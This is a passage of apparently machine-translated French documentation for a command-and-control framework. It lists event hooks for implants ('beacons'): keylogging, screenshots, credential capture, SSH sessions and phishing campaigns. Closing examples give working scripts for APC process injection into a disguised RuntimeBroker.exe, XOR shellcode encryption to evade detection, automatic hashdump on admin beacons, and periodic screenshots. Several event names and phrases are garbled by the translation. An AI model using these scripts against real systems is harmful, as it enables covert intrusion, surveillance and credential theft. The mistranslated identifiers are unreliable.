Se déclenche lorsqu'une tâche de téléchargement est distribuée à un beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | ID de tâche |
Source : c2/encrypted_handler.go GetTask() [task.Type=download]
téléchargement_complet¶
Se déclenche lorsqu'une tâche de téléchargement se termine avec succès.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Télécharger la sortie/le statut |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=téléchargement]
Événements d'enregistreur de frappe et de capture d'écran¶
keylog_hit¶
Se déclenche lorsque les données du keylogger arrivent d'un beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Données du keylogger (frappes capturées) |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=keylog]
capture d'écran¶
Se déclenche lorsqu'une capture d'écran est reçue d'un beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de beacon |
$2 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=screenshot]
Événements SSH¶
Ces événements reflètent les événements du cycle de vie des beacons, mais pour les sessions SSH initiées à partir des beacons.
ssh_initial¶
Se déclenche lorsqu'une session SSH est lancée à partir d'un beacon.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
Source : handler/cockpit_ssh.go Connect()
ssh_close¶
Se déclenche lorsqu'une session SSH est déconnectée.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
Source : handler/cockpit_ssh.go Déconnexion()
ssh_output¶
Se déclenche lorsque la sortie de tâche SSH arrive.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
$2 | chaîne | Texte de sortie |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=ssh, succès]
ssh_erreur¶
Se déclenche lorsqu'une tâche SSH renvoie une erreur.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
$2 | chaîne | Message d'erreur |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=ssh, erreur]
ssh_tasked¶
Se déclenche lorsqu'une commande est mise en file d'attente pour une session SSH.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
$2 | chaîne | Chaîne de commande |
$3 | chaîne | Horodatage |
Source : handler/cockpit_ssh.go Coquille()
ssh_entrée¶
Se déclenche lorsque l'entrée de l'opérateur est envoyée à une session SSH.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
$2 | chaîne | Opérateur qui a envoyé la commande |
$3 | chaîne | Chaîne de commande |
$4 | chaîne | Horodatage |
Source : handler/cockpit_ssh.go Coquille()
ssh_checkin¶
Se déclenche lors de l'activité de session SSH (après la connexion initiale).
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
$2 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=ssh]
ssh_indicateur¶
Se déclenche lorsqu'un IoC est enregistré pour une session SSH.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
$2 | chaîne | Type d'indicateur |
$3 | chaîne | Valeur de l'indicateur |
Source : c2/encrypted_handler.go DispatchSSHIndicator()
ssh_output_alt¶
Se déclenche pour la sortie SSH structurée/alternative.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de session SSH |
$2 | chaîne | Sortie structurée |
$3 | chaîne | Horodatage |
Source : c2/encrypted_handler.go SubmitResult() [technique=ssh, OutputType=alt]
Événements d'listener¶
écouteur_start¶
Se déclenche lorsqu'un listener démarre avec succès sur le relais.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du listener |
$2 | chaîne | Message d'état |
Source : cmd/api/main.go gestionnaire de messages de relais [RelayEventListenerStarted]
auditeur_stop¶
Se déclenche lorsqu'un listener est arrêté sur le relais.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du listener |
$2 | chaîne | Message d'état |
Source : cmd/api/main.go gestionnaire de messages de relais [RelayEventListenerStopped]
erreur_auditeur¶
Se déclenche lorsqu'un listener rencontre une erreur.
on listener_error {
# $1 = listener name, $2 = error message
elog("[!] Listener error: $1 -- $2");
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom du listener |
$2 | chaîne | Message d'erreur |
Source : cmd/api/main.go gestionnaire de messages de relais [RelayEventListenerError]
auditeur_unresolved_host¶
Se déclenche lorsqu'un hôte d'écoute ne peut pas être résolu pendant la génération de le payload.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom d'hôte insoluble |
Source : aggressor/payload_gen.go DispatchListenerUnresolvedHost()
Événements d'identification¶
informations d'identification_add¶
Se déclenche lorsqu'un identifiant est stocké dans le modèle d'identifiant (via la boutique automatique chromedump, CNA credential_add() ou hashdump).
on credential_add {
# $1 = type, $2 = username, $3 = password/hash, $4 = source, $5 = host
elog("[CRED] $1 : $2 from $4 on $5");
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Type d'identifiant (par exemple, "plaintext", "hash") |
$2 | chaîne | Nom d'utilisateur |
$3 | chaîne | Mot de passe ou valeur de hachage |
$4 | chaîne | Source de l'identifiant (par exemple, "hashdump", "chromedump") |
$5 | chaîne | Hôte sur lequel les informations d'identification ont été collectées |
Source : Rappel cmd/api/main.go chromedumpAutoStore, aggressor/credential_mutation.go credentialAdd()
Événements pour les opérateurs¶
Ces événements se déclenchent lorsque les opérateurs interagissent avec le système de discussion et de présence du serveur d'équipe.
event_join¶
Se déclenche lorsqu'un opérateur se connecte au serveur d'équipe.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Adresse email de l'opérateur |
$2 | chaîne | Horodatage |
Source : hub/cockpit_hub.go (connexion WebSocket)
event_quit¶
Se déclenche lorsqu'un opérateur se déconnecte du serveur d'équipe.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Adresse email de l'opérateur |
$2 | chaîne | Horodatage |
Source : hub/cockpit_hub.go (déconnexion WebSocket)
événement_public¶
Se déclenche lorsqu'un message de discussion public est envoyé.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom de l'expéditeur |
$2 | chaîne | Message de discussion |
Source : aggressor/output.go ChatPublic()
événement_action¶
Se déclenche lorsqu'un message de discussion d'action est envoyé (par exemple, /me does something).
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom de l'expéditeur |
$2 | chaîne | Message d'action |
Source : aggressor/output.go ChatAction()
événement_msg¶
Alias pour event_public. Se déclenche lorsqu'un message de discussion est envoyé via le canal de diffusion global.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom de l'expéditeur |
$2 | chaîne | Message |
Source : aggressor/output.go globalSay()
événement_privé¶
Se déclenche lorsqu'un message privé est envoyé entre opérateurs.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Nom de l'expéditeur |
$2 | chaîne | Nom du destinataire |
$3 | chaîne | Message privé |
Source : aggressor/output.go eventPrivate(), chatPrivate()
événement_notifier¶
Se déclenche lorsqu'une notification système est envoyée.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Message de notification |
Source : aggressor/output.go eventNotify()
Événements de mise à jour du modèle de données¶
Ces événements se déclenchent lorsque le modèle de données sous-jacent change. Ils ne prennent aucun argument - interrogent le modèle de données pour obtenir l'état actuel.
beacons¶
Se déclenche lorsque le modèle de données du beacon change (nouvelle beacon ou mise à jour d'enregistrement).
on beacons {
# No arguments -- query beacons() for current state
foreach $beacon (beacons()) {
# Process updated beacon list
}
}
Source : c2/handler.go Checkin(), c2/encrypted_handler.go Checkin()
frappes¶
Se déclenche lorsque de nouvelles données de frappe sont reçues.
Source : c2/handler.go SubmitResult(), c2/encrypted_handler.go SubmitResult()
captures d'écran¶
Se déclenche lorsque de nouvelles données de capture d'écran sont reçues.
Source : c2/handler.go SubmitResult(), c2/encrypted_handler.go SubmitResult()
Événements système¶
prêt¶
Se déclenche une fois lorsque le serveur d'équipe termine l'initialisation. Utilisez-le pour l'automatisation du démarrage.
Source : cmd/api/main.go (après eventBus.Start)
Scripts de démarrage
L'événement ready est l'endroit idéal pour initialiser l'état du script, se connecter à des services externes ou enregistrer les messages de démarrage. Il se déclenche une fois que tous les scripts ont été chargés et que l'EventBus est actif.
déconnecter¶
Se déclenche lorsqu'une connexion client est perdue.
Source : hub/cockpit_hub.go (déconnexion WebSocket)
Événements de battement de coeur¶
L'EventBus déclenche 12 événements de battement de cœur périodiques à intervalles fixes. Ceux-ci sont essentiels pour construire une automatisation basée sur le temps (captures d’écran périodiques, contrôles de santé, collecte de données).
| Événement | Intervalle | Cas d'utilisation |
|---|---|---|
heartbeat_1s | 1 seconde | Surveillance en temps réel, interrogation rapide |
heartbeat_5s | 5 secondes | Réactivité à l’engagement actif |
heartbeat_10s | 10 secondes | Tâches à fréquence modérée |
heartbeat_15s | 15 secondes | Contrôles de santé des beacons |
heartbeat_30s | 30 secondes | Mises à jour périodiques du statut |
heartbeat_1m | 1 minute | Intervalle d'automatisation standard |
heartbeat_5m | 5 minutes | Captures d'écran périodiques, collecte de données |
heartbeat_10m | 10 minutes | Automatisation basse fréquence |
heartbeat_15m | 15 minutes | Intervalles de rapport |
heartbeat_20m | 20 minutes | Tâches planifiées |
heartbeat_30m | 30 minutes | Points de contrôle d'engagement |
heartbeat_60m | 60 minutes | Tâches de maintenance horaires |
Les événements Heartbeat ne nécessitent aucun argument :
on heartbeat_5m {
# Runs every 5 minutes
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
bscreenshot($bid);
}
}
}
Performances du gestionnaire
Les gestionnaires de battements de cœur se déclenchent fréquemment. Gardez-les légers : évitez de bloquer les opérations ou les calculs lourds. Utilisez des intervalles plus longs (5 mois et plus) pour les tâches gourmandes en ressources.
Profileur et événements Web¶
profileur_hit¶
Se déclenche lorsque le profileur système reçoit une visite. Le profileur recueille des informations sur les visiteurs de votre infrastructure Web.
on profiler_hit {
# $1 = external IP, $2 = internal IP, $3 = user agent,
# $4 = applications, $5 = profiler token
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Adresse IP externe |
$2 | chaîne | Adresse IP interne (si disponible) |
$3 | chaîne | En-tête de l'agent utilisateur |
$4 | chaîne | Applications détectées |
$5 | chaîne | Jeton de profileur |
Source : Gestionnaire de messages de relais cmd/api/main.go [RelayEventProfilerHit]
web_hit¶
Se déclenche lorsque le serveur Web relais répond à une requête HTTP.
on web_hit {
# $1 = method, $2 = URI, $3 = remote address, $4 = user agent,
# $5 = response code, $6 = response size, $7 = handler, $8 = params, $9 = timestamp
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | Méthode HTTP |
$2 | chaîne | URI demandé |
$3 | chaîne | Adresse distante |
$4 | chaîne | En-tête de l'agent utilisateur |
$5 | chaîne | Code de réponse HTTP |
$6 | chaîne | Taille de la réponse en octets |
$7 | chaîne | Gestionnaire qui a servi la demande |
$8 | chaîne | Paramètres de la demande |
$9 | chaîne | Horodatage |
Source : Gestionnaire de messages de relais cmd/api/main.go [RelayEventWebHit]
Événements de phishing¶
Ces événements suivent le cycle de vie des campagnes de phishing envoyées via l'infrastructure de messagerie de Stentor.
sendmail_start¶
Se déclenche une fois lorsqu'une campagne de phishing commence à être envoyée.
on sendmail_start {
# $1 = campaign ID, $2 = target count, $3 = attachment name,
# $4 = bounce address, $5 = SMTP server, $6 = subject, $7 = template name
elog("[PHISH] Campaign $1 started: $2 targets via $5");
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de campagne |
$2 | chaîne | Nombre de cibles |
$3 | chaîne | Nom du fichier de pièce jointe |
$4 | chaîne | Adresse de rebond/retour |
$5 | chaîne | Serveur SMTP |
$6 | chaîne | Objet de l'e-mail |
$7 | chaîne | Nom du modèle |
Source : service/phishing.go sendEmails() [début de la méthode]
sendmail_pre¶
Se déclenche avant l'envoi de chaque e-mail.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de campagne |
$2 | chaîne | Adresse e-mail du destinataire |
Source : service/phishing.go sendEmails() [avant SendCommand]
envoyermail_post¶
Se déclenche après que chaque e-mail soit envoyé avec succès.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de campagne |
$2 | chaîne | Adresse e-mail du destinataire |
$3 | chaîne | Envoyer le statut |
$4 | chaîne | Message d'état |
Source : service/phishing.go sendEmails() [après l'envoi de UpdateTargetStatus]
sendmail_done¶
Se déclenche lorsqu'une campagne de phishing termine tous les envois.
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de campagne |
Source : service/phishing.go sendEmails() [après la boucle cible]
sendmail_error¶
Se déclenche lorsqu'un envoi d'e-mail de phishing échoue.
on sendmail_error {
# $1 = campaign ID, $2 = recipient, $3 = error message
elog("[PHISH ERROR] Campaign $1 : $2 -- $3");
}
| Argumentation | Type | Description |
|---|---|---|
$1 | chaîne | ID de campagne |
$2 | chaîne | Adresse e-mail du destinataire |
$3 | chaîne | Message d'erreur |
Source : service/phishing.go sendEmails() [en cas d'erreur SendCommand]
Événements personnalisés¶
événement_personnalisé¶
Événements définis par l'utilisateur distribués par les scripts CNA via fireEvent(). N'importe quel script peut déclencher des événements personnalisés et n'importe quel script peut enregistrer des gestionnaires.
# Fire a custom event
fireEvent("my_custom_event", "arg1", "arg2");
# Handle a custom event
on my_custom_event {
println("Custom event fired: $1 $2");
}
Source : aggressor/output.go FireEvent()
personnalisé_événement_privé¶
Événements privés par script distribués via fireEventPrivate(). Seuls les gestionnaires du même script qui a déclenché l'événement le recevront.
# Fire a private event (only this script's handlers fire)
fireEventPrivate("my_private_event", "data");
# Handle the private event
on my_private_event {
println("Private: $1");
}
Source : aggressor/output.go FireEventPrivate()
Tableau récapitulatif des événements¶
Référence rapide pour toutes les catégories d'événements :
| Catégorie | Événements | Compter |
|---|---|---|
| Cycle de vie des beacons | beacon_initial, beacon_initial_empty, beacon_checkin, beacon_exit, beacon_mode | 5 |
| Tâche/sortie de beacon | beacon_tasked, beacon_input, beacon_output, beacon_output_alt, beacon_error | 5 |
| Sortie spécialisée de beacon | beacon_output_jobs, beacon_output_ls, beacon_output_ps | 3 |
| Indicateurs de beacon | beacon_indicator | 1 |
| Téléchargements | download_start, download_complete | 2 |
| Enregistreur de frappe et captures d'écran | keylog_hit, screenshot | 2 |
| SSH | ssh_initial, ssh_close, ssh_output, ssh_error, ssh_tasked, ssh_input, ssh_checkin, ssh_indicator, ssh_output_alt | 9 |
| Listeners | listener_start, listener_stop, listener_error, listener_unresolved_host | 4 |
| Informations d'identification | credential_add | 1 |
| Opérateurs | event_join, event_quit, event_public, event_action, event_msg, event_private, event_notify | 7 |
| Mises à jour du modèle de données | beacons, keystrokes, screenshots | 3 |
| Système | ready, disconnect | 2 |
| Battements de coeur | heartbeat_1s à heartbeat_60m | 12 |
| Profileur et Web | profiler_hit, web_hit | 2 |
| Phishing | sendmail_start, sendmail_pre, sendmail_post, sendmail_done, sendmail_error | 5 |
| Personnalisé | custom_event, custom_event_private | 2 |
| Total | 65 |
Exemples de crochets pratiques¶
Technique d'injection personnalisée¶
Remplacez l'injection fork-and-run par défaut par une technique d'injection APC personnalisée qui utilise un processus sacrificiel moins suspect.
# custom-inject.cna -- Replace injection with QueueUserAPC + custom spawnto
set PROCESS_INJECT_SPAWN {
local('$bid $dll $arch $token');
$bid = $1;
$dll = $2;
$token = $3;
$arch = $4;
# Choose a legitimate-looking sacrificial process based on arch
if ($arch eq "x64") {
$target = "C:\\Windows\\System32\\RuntimeBroker.exe";
} else {
$target = "C:\\Windows\\SysWOW64\\RuntimeBroker.exe";
}
btask($bid, "Custom injection: APC into RuntimeBroker ($arch)");
# Use the custom spawnto and let the default injection proceed
# for the actual APC write
bspawnto($bid, $arch, $target);
return $null; # Let default handle actual injection with new spawnto
}
Kit d’artefact personnalisé¶
Créez un générateur d'artefacts personnalisé qui crypte le shellcode avec une clé XOR par build.
# custom-artifact.cna -- XOR-encrypted artifact generator
set EXECUTABLE_ARTIFACT_GENERATOR {
local('$artifact $shellcode $key $encrypted $template');
$artifact = $1;
$shellcode = $2;
# Generate random XOR key
$key = rand(0xFF);
# XOR the shellcode
$encrypted = "";
for ($i = 0; $i < strlen($shellcode); $i++) {
$encrypted .= chr(asc(charAt($shellcode, $i)) ^ $key);
}
# Log the build
elog("Artifact Kit: built $artifact with XOR key $key");
# Return encrypted shellcode (loader stub handles decryption)
return build_artifact($artifact, $encrypted, $key);
}
Tâche automatique sur le beacon initiale¶
Configurez et assignez automatiquement à chaque nouvelle beacon des commandes de reconnaissance.
# auto-task.cna -- Automatic recon on new beacons
set BEACON_INITIAL_EMPTY {
local('$bid');
$bid = $1;
# Set reasonable sleep for recon phase
bsleep($bid, 15, 25);
# Run initial reconnaissance
bps($bid);
bipconfig($bid);
bwhoami($bid);
bpwd($bid);
# If admin, grab credentials immediately
if (-isadmin $bid) {
bhashdump($bid);
blog($bid, "Admin beacon -- auto-hashdump queued");
}
blog($bid, "Auto-recon complete -- $+ " . binfo($bid, "user") . " on " . binfo($bid, "computer"));
return "handled";
}
Exemples d'événements pratiques¶
Enregistrer toutes les sorties de beacons dans un fichier¶
Créez un journal d’audit complet de toutes les sorties des beacons pour les rapports d’engagement.
# audit-log.cna -- Log all beacon output to file
on beacon_output {
local('$bid $output $when $user $computer');
$bid = $1;
$output = $2;
$when = $3;
$user = binfo($bid, "user");
$computer = binfo($bid, "computer");
elog("[$when] [$computer\\$user] Output: $output");
}
on beacon_error {
local('$bid $msg $when');
$bid = $1;
$msg = $2;
$when = $3;
elog("[$when] [ERROR] Beacon $bid : $msg");
}
on beacon_input {
local('$bid $who $cmd $when');
$bid = $1;
$who = $2;
$cmd = $3;
$when = $4;
elog("[$when] [$who] Command: $cmd");
}
Capture d'écran automatique sur la nouvelle beacon¶
Capturez une capture d'écran dans les 30 secondes suivant chaque nouvel enregistrement de beacon.
# auto-screenshot.cna -- Screenshot on initial beacon
on beacon_initial {
local('$bid');
$bid = $1;
# Wait for beacon to settle, then screenshot
bsleep($bid, 5, 0);
bscreenshot($bid);
blog($bid, "Auto-screenshot queued on initial check-in");
}
Alerte sur la récolte des informations d'identification¶
Envoyez des notifications lorsque de nouvelles informations d'identification sont découvertes.
# cred-alert.cna -- Credential alerting pipeline
on credential_add {
local('$type $user $pass $source $host');
$type = $1;
$user = $2;
$pass = $3;
$source = $4;
$host = $5;
# Log to event log
elog("[CREDENTIAL] Type: $type | User: $user | Source: $source | Host: $host");
# Fire custom event for other scripts to consume
fireEvent("cred_alert", $type, $user, $host);
}
Tâche périodique basée sur le rythme cardiaque¶
Exécutez une collecte de données automatisée selon un planning à l'aide d'événements de battement de cœur.
# periodic-collect.cna -- Collect data every 10 minutes
on heartbeat_10m {
foreach $bid (beacon_ids()) {
if (-isactive $bid) {
# Only task beacons that are actively checking in
bps($bid);
blog($bid, "[auto] Periodic process listing");
}
}
}
on heartbeat_60m {
foreach $bid (beacon_ids()) {
if (-isactive $bid && -isadmin $bid) {
# Hourly screenshot from admin beacons
bscreenshot($bid);
}
}
}
Voir aussi¶
- Référence de fonction -- Référence complète pour les fonctions
b*utilisées dans les gestionnaires de hook et d'événements - Mode sans tête -- Exécution de scripts de hook et d'événements sans l'interface graphique
- Kits d'évasion -- Personnalisation de le payload au moment de la construction (Kit d'artefacts, Kit de masque de sommeil)